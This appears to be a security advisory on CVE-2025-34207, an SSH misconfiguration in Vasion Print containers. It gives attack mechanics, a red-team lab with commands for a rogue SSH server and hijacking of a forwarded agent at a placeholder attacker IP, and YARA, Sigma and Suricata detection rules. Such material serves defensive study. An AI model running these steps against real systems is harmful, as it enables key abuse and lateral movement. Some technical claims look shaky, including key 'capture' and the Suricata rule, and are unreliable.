CVE-2025-34207

Executive Summary

CVE-2025-34207 exposes a critical misconfiguration in Vasion Print (formerly PrinterLogic) deployments. The SSH client within Docker containers is configured with UserKnownHostsFile=/dev/null, StrictHostKeyChecking=no, and ForwardAgent yes. This effectively disables all host key verification and enables SSH agent forwarding to any host matching wildcard patterns. An attacker who compromises a single container can force it to connect to a malicious SSH server, capture forwarded private keys, and use those keys for unrestricted lateral movement across the entire environment. This is a classic SSH agent hijacking scenario, amplified by the lack of host key validation.

Supply Chain & Package Security

This vulnerability is not in an open-source package but in a proprietary appliance. The supply chain risk is that the vendor’s Docker images are shipped with insecure defaults. Organizations using Vasion Print must verify the integrity of their appliance images and ensure they are not using older, unpatched versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can trigger the malicious SSH connection from any network-accessible container.
• Attack Complexity (AC): Low (L) – No special conditions required; the misconfiguration is always active.
• Privileges Required (PR): None (N) – The attacker only needs to compromise a single container.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Changed (C) – The compromised container can pivot to other systems.
• Confidentiality (C): High (H) – Private SSH keys are exposed.
• Integrity (I): High (H) – Attacker can use keys to modify remote systems.
• Availability (A): High (H) – Lateral movement can disrupt services.

CVSS Score: 10.0 (Critical) – This is a maximum severity vulnerability due to the ease of exploitation and the potential for complete compromise of the SSH key infrastructure.

Deep Dive & Mechanics

The core issue lies in three SSH client options:

1. UserKnownHostsFile=/dev/null: This discards the known hosts file, meaning the client will never remember or verify the host key of any server it connects to.
2. StrictHostKeyChecking=no: This disables the strict host key checking. The client will automatically accept any host key presented by the server, even if it is different from a previously seen key.
3. ForwardAgent yes: This enables SSH agent forwarding. When the client connects to a remote server, it forwards the local SSH agent socket to that server. The remote server can then use the forwarded agent to authenticate to other systems.

Attack Flow:

1. Initial Compromise: The attacker gains access to a single Docker container running the vulnerable Vasion Print software (e.g., via a web application vulnerability, exposed API, or misconfigured network).
2. Trigger Connection: The attacker identifies that the container is configured to connect to other hosts via SSH (e.g., for management, logging, or data transfer). The attacker sets up a malicious SSH server that listens on a hostname or IP that matches the wildcard patterns in the container’s SSH configuration.
3. Key Capture: The container connects to the attacker’s SSH server. Because StrictHostKeyChecking=no, the connection succeeds. The attacker’s server then uses the forwarded SSH agent (ForwardAgent yes) to request authentication. The agent forwards the private keys from the developer’s or administrator’s machine (if they have an active SSH agent session).
4. Lateral Movement: The attacker now possesses the private keys. They can use these keys to authenticate to any other system that trusts the corresponding public keys, achieving unrestricted lateral movement.

Vulnerable vs. Patched Code

Vulnerable Configuration (e.g., in a Dockerfile or SSH config):

Host *
    UserKnownHostsFile /dev/null
    StrictHostKeyChecking no
    ForwardAgent yes

Patched Configuration:

Host *
    UserKnownHostsFile ~/.ssh/known_hosts
    StrictHostKeyChecking yes
    # ForwardAgent should be set to 'no' by default, or only enabled for specific, trusted hosts
    ForwardAgent no

The patched version restores proper host key verification and disables agent forwarding by default. Agent forwarding should only be enabled for specific, trusted hosts using a more restrictive Host block.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Target: A Docker container running Vasion Print with the vulnerable SSH configuration.
2. Attacker Machine: A Kali Linux VM.
3. Malicious SSH Server: Set up using openssh-server with a modified configuration to accept agent forwarding.

Steps:

1. Set up the malicious SSH server:

   # On attacker machine
   sudo apt update && sudo apt install openssh-server -y
   sudo sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
   sudo sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config
   sudo sed -i 's/#AuthorizedKeysFile/AuthorizedKeysFile/' /etc/ssh/sshd_config
   sudo systemctl restart sshd
   

2. Create a fake SSH key pair for the malicious server:

   ssh-keygen -t rsa -b 4096 -f /tmp/malicious_key -N ""
   cat /tmp/malicious_key.pub >> ~/.ssh/authorized_keys
   

3. On the target container, trigger the SSH connection to the attacker’s IP:

   # Inside the vulnerable container
   ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -o "ForwardAgent=yes" attacker@<attacker_ip>
   

4. On the attacker machine, capture the forwarded agent:

   # After the connection is established, the attacker can use the forwarded agent
   ssh-add -l  # List keys in the forwarded agent
   # Use the keys to connect to other systems
   ssh -A user@target_system
   

Note: In a real-world scenario, the attacker would not manually trigger the SSH connection. They would manipulate the container’s environment (e.g., DNS spoofing, ARP poisoning) to make the container connect to their malicious server automatically.

Blue Team (Detection & Response)

Detection:

1. Monitor SSH Configuration: Regularly scan Docker containers for the presence of UserKnownHostsFile=/dev/null and StrictHostKeyChecking=no in SSH configuration files.
2. Monitor SSH Agent Forwarding: Log and alert on any use of SSH agent forwarding (ForwardAgent yes). This is a strong indicator of potential abuse.
3. Network Monitoring: Look for SSH connections to unexpected or unknown IP addresses, especially from containers that should not be making outbound SSH connections.
4. Key Usage Anomalies: Monitor for SSH authentication attempts using keys that are not typically used from a given source IP.

Response:

1. Isolate the Container: Immediately isolate any container suspected of being compromised.
2. Revoke Keys: Revoke all SSH keys that may have been exposed. Generate new key pairs.
3. Patch: Upgrade to the patched version of Vasion Print.
4. Audit: Conduct a full audit of all SSH configurations across the environment.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound SSH connections from Vasion Print containers to unknown IP addresses.
  • SSH connections using agent forwarding (SSH_AGENT protocol).
• File IOCs:
  • SSH configuration files containing UserKnownHostsFile=/dev/null and StrictHostKeyChecking=no.
  • Presence of ForwardAgent yes in SSH configs.
• Process IOCs:
  • ssh processes with the -A flag (agent forwarding) or the -o options mentioned above.
• Log IOCs:
  • SSH logs showing Accepted publickey for keys that are not associated with the source host.
  • SSH logs showing debug1: Authentication succeeded without a corresponding debug1: Host key verification message.

Detection Engineering

YARA Rule

rule CVE_2025_34207_SSH_Misconfig {
    meta:
        description = "Detects insecure SSH client configuration in Vasion Print containers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34207"
    strings:
        $s1 = "UserKnownHostsFile=/dev/null" ascii wide nocase
        $s2 = "StrictHostKeyChecking=no" ascii wide nocase
        $s3 = "ForwardAgent yes" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2025-34207 - Insecure SSH Configuration in Vasion Print
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSH client configurations that disable host key verification and enable agent forwarding.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34207
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/ssh'
        CommandLine|contains|all:
            - 'UserKnownHostsFile=/dev/null'
            - 'StrictHostKeyChecking=no'
            - 'ForwardAgent yes'
    condition: selection
falsepositives:
    - Legitimate administrative tasks (rare)
level: critical
tags:
    - attack.t1552.004
    - cve.2025.34207

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2025-34207 - SSH Agent Forwarding from Vasion Print Container"; flow:to_server,established; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|"; depth:16; offset:0; content:"ssh-connection"; distance:0; within:20; content:"auth-agent-req"; distance:0; within:20; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patching: Upgrade to Vasion Print Virtual Appliance Host version 22.0.1049 or Application version 20.0.2786 (for SaaS deployments).
2. Configuration Hardening: If patching is not immediately possible, manually edit the SSH configuration files in the Docker containers to remove the insecure options. Set StrictHostKeyChecking yes and ForwardAgent no.
3. Network Segmentation: Isolate Vasion Print containers in a separate network segment with strict egress filtering. Only allow outbound SSH connections to known, trusted hosts.
4. Key Rotation: Rotate all SSH keys that may have been exposed. Implement a key management policy that includes regular rotation and revocation.
5. Monitoring: Implement the detection rules provided above to monitor for exploitation attempts.

Valters IT